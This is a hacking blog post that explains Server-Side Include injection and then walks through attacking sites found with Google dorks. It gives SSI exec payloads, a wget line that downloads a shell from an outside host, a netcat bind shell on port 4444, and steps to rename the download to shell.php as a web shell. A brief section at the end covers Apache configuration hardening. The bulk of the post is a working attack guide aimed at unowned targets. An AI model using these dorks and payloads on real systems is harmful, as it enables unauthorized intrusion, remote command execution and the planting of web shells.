How to Perform and Prevent SSI Injection Attack , Hack Via

SSIs are directives present on Web applications used to feed an HTML page with dynamic contents. They are similar to CGIs, except that SSIs are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user.

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

It is possible to check if the application is properly validating input fields data by inserting characters that are used in SSI directives, like:

< ! # = / . " - > and [a-zA-Z0-9]

Another way to discover if the application is vulnerable is to verify the presence of pages with extension .stm, .shtm and .shtml. However, the lack of these type of pages does not mean that the application is protected against SSI attacks.

In any case, the attack will be successful only if the web server permits SSI execution without proper validation. This can lead to access and manipulation of file system and process under the permission of the web server process owner.

The attacker can access sensitive information, such as password files, and execute shell commands. The SSI directives are injected in input fields and they are sent to the web server. The web server parses and executes the directives before supplying the page. Then, the attack result will be viewable the next time that the page is loaded for the user’s browser.

[Till here source via OWASP]

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application’s failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

Before serving an HTML web page, a web server may parse and execute Server-side Include statements before providing it to the user. In some cases (e.g. message boards, guest books, or content management systems), a web application will insert user-supplied data into the source of a web page.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file’s contents the next time the page is served.

[Source Via InfoSecPro]

How to Find Via Google, i.e, Google DORK ?

Google Dorks are easy way to Vulnerable site Links and It reduces your time Lot in Finding Vulnerable Site, So Question is What to Search in Google to Find Vulnerable sites… Here are Few Lists

inurl:bin/Cklb/
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=

Also URL’s Like below are malicious and is vulnerable to SSI Injection Attack, Please note [Are, and not always] :-
www.vulnerablesite.com/index.php?page=www.worldofhacker.com/ssi.shtml

Above are List of Few of Them

Examples of Attack , Code to Use in SSI Injection Attacks

So when you used that dork and you opened one site now you must determine id the site is vulnerable to this type of injection.

Here are some command you can use:
< !--#exec cmd="ls" -->
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
<!--#exec cmd="/bin/ls /" -->
< !--#exec cmd="dir" -->
< !--#exec cmd="cd C:\WINDOWS\System32">
<!--#config errmsg="File not found, informs users and password"-->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#fsize file="ssi.shtml" -->
<!--#include file=”UUUUUUUU...UU”-->
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="whoami"-->


How to Perform it , How to Attack via SSI Injection Attack, Complete Hack Cycle

Now, As we have already Written What is SSI Injection Attack, How to Find it, Now Move on to How to Perform it ?

Step 1. Find Some Vulnerable site, Go to Their “INPUT” Box. And Type Below Command :-

For Linux OS Server, Copy paste any one of the below Command =>

<pre>< !--#exec cmd="ls" --> </pre>

<pre><!–#echo var=”DATE_LOCAL” –> </pre>

<pre><!–#exec cmd=”whoami”–></pre>

For Windows OS Server =>
<pre>< !--#exec cmd="dir" --></pre>

if it List the Directory..

Step 2. Now Type Below Command If Step 1. is Successful.

For Linux OS =>
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->

For Windows OS, Wget may/maynot Work, thus we need to Upload some file or application that will serve our need, for that, we can either upload “Wget.exe” Application or Our Wonderful “Swiss Army Knife netcat”, Even this is not Full proof that it will always Download automatically, as Sometime Application may ask for confirmation to Download.

<!--#exec cmd="start explorer.exe http://website.com/wget.exe" -->

<!–#exec cmd=”start explorer.exe http://website.com/nc.exe” –>

After Above Successful Download Follow Shell.txt Command

if Wget.exe
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->

if nc.exe
<!--#exec cmd="nc.exe -L -p 4444 -e cmd.exe" -->

There are other ways too, for example creating & writting it to some file our 1 line shell code, etc., I leave that as homework to you Smile

Step 3.

Once Netcat done, Go and Connect to Port 4444 via your telnet or Netcat or SSH, whatever you prefer..

Once Shell Uploaded, Follow Below Command.

For Linux OS =>
<!--#exec cmd="mv shell.txt shell.php" -->

For Windows OS =>
<!--#exec cmd="move shell.txt shell.php" -->

Now Go to your ‘target URL ‘+shell.php and you See Your Shell

Now How to Prevent SSI Injection Attack in Your Website or Server

As Described in Httpd Security tips for SSI,

A server administrator can enable suexec as described in the CGI in General section.

Enabling SSI for files with .html or .htm extensions can be dangerous. This is especially true in a shared, or high traffic, server environment. SSI-enabled files should have a separate extension, such as the conventional .shtml. This helps keep server load at a minimum and allows for easier management of risk.

But Again Simple Google dork defies it..

Another solution is to disable the ability to run scripts and programs from SSI pages. To do this replace Includes with IncludesNOEXEC in the Options directive. Note that users may still use <–#include virtual=”…” –> to execute CGI scripts if these scripts are in directories designated by a ScriptAlias directive.

Last, Disable SSI in Pages, where you don’t need them, or Disallow Guest Injection or Member to whom you Don’t Trust, Also, Filter all Commands that is being Executed, If you Want People to Use only specific Commands, that Filter out All Rest Commands via “Else” and only do “if” with your Commands you want to Allow.

Good Luck,

Security is In your Hand, Its Just matter of your power in hand, How tight you can hold them from not being snatched by known or Unknown – “KroKite“.

Few Best Reference URL =>

“Server Side Includes (SSI)” – NCSA HTTPd

[1] http://hoohoo.ncsa.uiuc.edu/docs/tutoria…ludes.html

“Security Tips for Server Configuration” – Apache HTTPD

[2] http://httpd.apache.org/docs/misc/securi…s.html#ssi

“Header Based Exploitation: Web Statistical Software Threats” – CGISecurity.com

[3] http://www.cgisecurity.net/papers/header…tation.txt

“A practical vulnerability analysis”

[4] http://hexagon.itgo.com/Notadetapa/a_pra…analys.htm

“Apache suEXEC Support”

[5] http://httpd.apache.org/docs/1.3/suexec.html http://httpd.apache.org/docs/2.0/suexec.html

“Apache Tutorial: Introduction to Server Side Includes”

[6] http://httpd.apache.org/docs/2.0/howto/ssi.html http://httpd.apache.org/docs/1.3/howto/ssi.html

“Testing for SSI Injection”

[7] http://www.owasp.org/index.php/Testing_f…_Injection

Server Side Include (SSI) Injection

[8] http://capec.mitre.org/data/definitions/101.html